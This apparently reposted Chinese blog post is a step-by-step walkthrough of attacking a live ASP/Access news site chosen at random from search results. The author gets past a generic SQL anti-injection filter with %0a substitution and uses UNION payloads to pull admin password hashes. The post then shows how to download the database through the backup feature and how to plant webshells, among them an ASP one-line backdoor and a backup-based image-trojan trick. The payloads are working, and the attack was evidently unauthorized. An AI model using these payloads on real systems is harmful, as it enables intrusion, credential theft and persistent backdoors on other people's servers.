1. 程式人生 > >Acesss數據庫手工繞過通用代碼防註入系統

Acesss數據庫手工繞過通用代碼防註入系統

webshell firefox 搜索結果 百度 鏈接地址

Acesss數據庫手工繞過通用代碼防註入系統

By antian365 殘楓 simeon

滲透過程就是各種安全技術的再現過程,本次滲透從SQL註入點的發現到繞過sql註入通用代碼的防註入,可以說是打開了一扇門,通過sql註入獲取管理員密碼,獲取數據庫,如果在條件允許的情況下是完全可以獲取webshell。在本文中還對access數據庫獲取webshell等關鍵技術進行了總結。

1.1獲取目標信息

通過百度進行關鍵字“news.asp?id=”搜索,在搜索結果中隨機選擇一個記錄,打開如圖1所示,測試網站是否能夠正常訪問,同時在Firefox中使用F9功能鍵,打開hackbar

技術分享

1測試目標站點

1.2測試是否存在SQL註入

http://www.xxxxx.com/網站中隨機打開一個新聞鏈接地址http://www.xxxxx.com/news.asp?id=1172在其地址後加入and 1= 2and 1 = 1判斷是否有註入,如圖2所示,單擊Execute後,頁面顯示存在“SQL通用防註入系統”。

技術分享

2存在SQL通用防註入系統

在網站地址後加入“-0”和“/”進行測試,打開“http://www.xxxxx.com/news.asp?id=1172/”瀏覽器顯示結果如圖3所示,打開“http://www.xxxxx.com/news.asp?id=1172-0”後結果如圖4所示,明顯存在SQL註入。

技術分享

3顯示無內容

技術分享

4顯示存在內容

1.3繞過SQL防註入系統

1.post提交無法繞過

Post data中輸入and 1=1 and 1=2,勾選“Enable Post data”,單擊“Execute”進行測試,如圖5所示,結果無任何變化,說明直接post提交無法繞過。

技術分享

5 post提交無法繞過

2.替換空格繞過

換了POST方式後還是不行,朋友說使用%09(也就是tab鍵)可以繞過,經過測試還是不行,如圖6所示,用%0a(換行符)替換下空格成功繞過,如圖7所示。

技術分享

6無法繞過

技術分享

7成功繞過

1.4獲取數據庫類型以及表和字段

1)判斷數據庫類型

通過and (selectcount(*) from sysobjects)>0and (select count(*) from msysobjects)>0的出錯信息來判斷網站采用的數據庫類型。若數據庫是SQL-SERVE,則第一條,網頁一定運行正常,第二條則異常;若是ACCESS則兩條都會異常。在POST中通過依次提交:

and%0a(select%0acount(*)%0afrom%0asysobjects)>0

and%0a(select%0acount(*)%0afrom%0amsysobjects)>0

其結果顯示“目前還沒有內容!”實際內容應該是id=1158的內容,兩條語句執行的結果均為異常,說明為access數據庫。

2)通過order by判斷列名

id=1172%0aorder%0aby%0a23 正常

id=1172%0aorder%0aby%0a24 錯誤

Order by 23”正常,23代表查詢的列名的數目有23

3)判斷是否存在admin

and (select count(*) from admin)>0

and%0a(select%0acount(*)%0afrom%0aadmin)>0

4)判斷是否存在user以及pass字段

and (select count(username) fromadmin)>0

and (select count(password) fromadmin)>0

變換後的語句

and %0a (select%0acount(user) %0afrom%0aadmin)>0

and%0a (select%0acount(pass) %0afrom%0aadmin)>0

測試admin表中是否存在uididuid報錯,如圖8所示,id正常,如圖9所示。

技術分享

8uid不存在

技術分享

9id存在

1.5獲取管理員密碼

id=1158%0aUNION%0aSelect%0a1,2,3,4,user,pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%0afrom%0aadmin,獲取admin-dh用戶的密碼“5ed9ff1d48e059b50db232f497b35b45”,如圖10所示,通過登錄後臺後發現該用戶權限較低,因此還需要獲取其它管理員用戶的密碼執行語句:

id=1158%0aUNION%0aSelect%0a1,2,3,4,user,pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%0afrom%0aadmin%0awhere%0aid=1,獲取id1的用戶密碼,如圖11所示。

技術分享

10獲取amdin-dh用戶密碼

技術分享

11獲取管理員zzchxj用戶密碼

1.6.獲取數據庫

1)數據庫備份相關信息獲取

如圖12所示,在後臺管理中存在數據庫備份功能。在備份頁面中有當前數據庫路徑、備份數據庫目錄、備份數據庫名稱等信息。

技術分享

12數據庫備份

2)通過壓縮功能獲取真實數據庫名稱

單擊“壓縮”,如圖13所示,獲取數據庫的真實名稱和路徑等信息“../data-2016/@@@xxxxx###.asp”。

技術分享

13獲取數據庫真實路徑和名稱信息

3)備份並獲取數據庫

將“../data-2016/@@@xxxxx###.asp”填入當前數據庫路徑,備份數據庫名稱“db1.mdb”,如圖14所示,備份數據庫成功,您備份的數據庫路徑為服務器空間的:d:\virtualhost\*********\www\ahs*****admin\Databackup\db1.mdb,數據庫下載地址為:

http://www.xxxxx.com/ahszhdzzcadmin/Databackup/db1.mdb

技術分享

14備份數據庫

1.8access數據庫獲取webshell方法

1)查詢導出方法

create table cmd (a varchar(50))

insert into cmd (a) values (‘<%executerequest(chr(35))%>‘)

select * into [a] in ‘c:\wwwroot\1.asa;x.xls‘ ‘excel 4.0;‘ from cmd

drop table cmd

直接菜刀裏連接http://www.antian365.com/1.asa;x.xls

2)數據庫備份

在留言等可以寫入數據內容的地方插入“┼攠數畣整爠煥敵瑳∨≡┩愾”,通過數據庫備份來獲取其一句後門密碼為a

3)數據庫圖片備份獲取

將插入一句話後門的圖片木馬上傳到網站,獲取其圖片的具體地址,然後通過備份,將備份文件設置為圖片文件的具體位置,備份文件例如指定為/databacp/1.asp來獲取webshell

1.9參考文章

1http://www.freebuf.com/articles/web/36683.html,繞過WAF繼續SQL註入常用方法

2http://www.cnblogs.com/joy-nick/p/5774462.htmlSQLInjection繞過技巧

3http://www.antian365.com/forum.php?mod=viewthread&tid=1084&extra=,整理比較全的AccessSQL註入參考

本文出自 “simeon技術專欄” 博客,請務必保留此出處http://simeon.blog.51cto.com/18680/1927496

Acesss數據庫手工繞過通用代碼防註入系統